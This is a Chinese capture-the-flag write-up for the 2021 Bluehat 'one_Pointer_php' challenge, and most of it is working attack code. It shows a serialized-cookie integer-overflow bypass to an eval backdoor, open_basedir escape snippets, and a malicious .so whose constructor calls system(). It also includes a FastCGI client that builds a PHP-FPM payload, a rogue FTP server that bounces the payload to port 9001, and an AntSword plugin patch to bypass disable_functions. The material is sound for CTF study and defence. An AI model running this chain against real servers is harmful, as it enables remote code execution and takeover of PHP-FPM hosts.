[2021 蓝帽杯\]one_Pointer_php 复现

#[2021 蓝帽杯]one_Pointer_php 复现

题目给了两个源码：

user.php：

class User{
	public $count;
}
?>

只是定义了一个user类而已

add_api.php:

include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

发现有eval($_GET["backdoor"]);是个后门文件。

需要绕过if($count[]=1)

但是问题来了，$count[]的值恒为1，想不到办法绕过

php数组溢出：

在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。

测试一下：

$userconut = 9223372036854775806;
$count[++$userconut]=1;
$count[]=1;
print_r($count);

运行结果：

发现报错了，我们可以利用这一点来进行绕过！

反序列化cookies->data使其$count[++$user->count]=1;后$count[]=1为false即可eval执行命令

构造反序列化payload：

O:4:"User":1:{s:5:"count";i:9223372036854775806;}

修改一下网页cookies：

插入php探针：

http://0a9083be-2d04-4508-acc0-b8361b22943b.node3.buuoj.cn/add_api.php?backdoor=phpinfo();

成功绕过第一关：

看一下disable_functions:

过滤了各种命令执行函数，但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤

直接插入后门，链接蚁剑：

（PS：蚁剑别忘记添加Cookie 为data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D;）

连接上发现只有html有读写权限

可以利用glob://来嗅探目录

glob:// — 查找匹配的文件路径模式

printf('open_basedir : %s 
', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}
";
}
?>

写好丢进，起名为1.php丢在html里，访问一下：

拿到目录，而且发现了flag

再利用如下，读取php.ini：

mkdir('h3');
chdir('h3');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/usr/local/etc/php/php.ini"));

= =。其实到这里我是不知道该干啥的，反正读取到了异常.so文件

![](https://img-blog.csdnimg.cn/img_convert/9de7d839b0ed5b8b2194c81d860e7d50.png)

问了师傅知道，是要加载它然后"胖"它

读取配置文件：

mkdir('h3');
chdir('h3');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf('open_basedir : %s 
', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///etc/nginx/*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}
";
}
?>

发现了nginx.conf 看一下

string(1482) "user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}


#mail {
#	# See sample authentication script at:
#	# http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
# 
#	# auth_http localhost/auth.php;
#	# pop3_capabilities "TOP" "USER";
#	# imap_capabilities "IMAP4rev1" "UIDPLUS";
# 
#	server {
#		listen     localhost:110;
#		protocol   pop3;
#		proxy      on;
#	}
# 
#	server {
#		listen     localhost:143;
#		protocol   imap;
#		proxy      on;
#	}
#}
"

发现到了include /etc/nginx/sites-enabled/*;

然后去读取/etc/nginx/sites-enabled/default

	# pass PHP scripts to FastCGI server
	#
	location ~ \.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
    include        fastcgi_params;
    }

	# deny access to .htaccess files, if Apache's document root
	# concurs with nginx's one
	#
	#location ~ /\.ht {
	#	deny all;
	#}
}

发现在9001端口开有FastCGI服务，phpinfo中也表明该项目为FPM/FastCGI，可以通过未授权打FPM rce

发现 php-fpm 绑定在了本地9001端口上。

我们可以利用ssrf攻击本地的 php-fpm。我们可以通过在vps上搭建恶意的ftp，骗取目标主机将payload转发到自己的9001端口上，从而执行命令。

FTP 协议允许通过 TCP 发送二进制数据包，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。

现在，如果我们传入?file=ftp://evil-server/file.txt&data=payload，会发生以下情况：

首先通过 file_put_contents() 函数连接到我们的FTP服务器，并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。

摘录自：http://www.hackdig.com/05/hack-342091.htm

写.so扩展

#define _GNU_SOURCE
#include 
#include 
#include 

__attribute__ ((__constructor__)) void preload (void){
    system("ls / >/var/www/html/a");
}

编译一下：

gcc hpdoger.c -fPIC -shared -o hpdoger.so

编译完后上传至/var/www/html

然后伪造FastCGI请求PHP—CGI

/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron 
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip:9999/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>

// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = ""; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001', // 找准服务端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

同样写在html目录

知识点补充：open_basedir的绕过

https://err0r.top/article/bluehat2021/

https://www.anquanke.com/post/id/186186#h3-3

访问拿到payload：

?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

在/var/www/html目录写文件file.php

利用之前生成的payload打

起恶意ftp服务 用如下脚本，在公网vps起

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) 注意打到9001端口的服务
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

0.0 没有公网VPS（今天刚刚到期，BUU内部靶机打不动我也不知道为啥）

所以到此为止了。。。。QAQ

后来的也比较简单了，打穿了的话

这时已经突破open_basedir，可以任意访问目录了，同时也执行了恶意.so文件

可以执行恶意.so文件，那么直接弹个shell回来

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看到大佬更新了wp 发现了新姿势可以日穿这道题：

大概就是修改一下蚁剑的插件，省去vps打脚本的过程

蚁剑里有通过攻击 PHP-FPM 绕过 Disable_Functions 的插件

就是这个：

但是插件中的payload使用了fsockopen()，但是fsockopen()被ban了，并且并且蚁剑的插件中没有 PHP-FPM 地址为 127.0.0.1:9001 的选项。

但是pfsockopen()没有被ban 而且两者没有任何区别

将这两个文件下的fsockopen()改成pfsockopen()

\antData\plugins\as_bypass_php_disable_functions-master\payload.js
\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

然后进入到 \core\php_fpm\index.js 中，在 vals 中将 127.0.0.1:9000 改为 127.0.0.1:9001 的选项：

修改完毕后，重启蚁剑，然后写一个shell.php放在/html中

eval($_POST[whoami]);
?>

用蚁剑链接这个shell.php，然后执行插件

成功后蚁剑会在 /var/www/html 目录上传一个 .antproxy.php 文件。我们创建副本，并将连接的 URL shell 脚本名字改为 .antproxy.php 来获得新的shell：

然后就可以日穿了。

✌！！！！！！！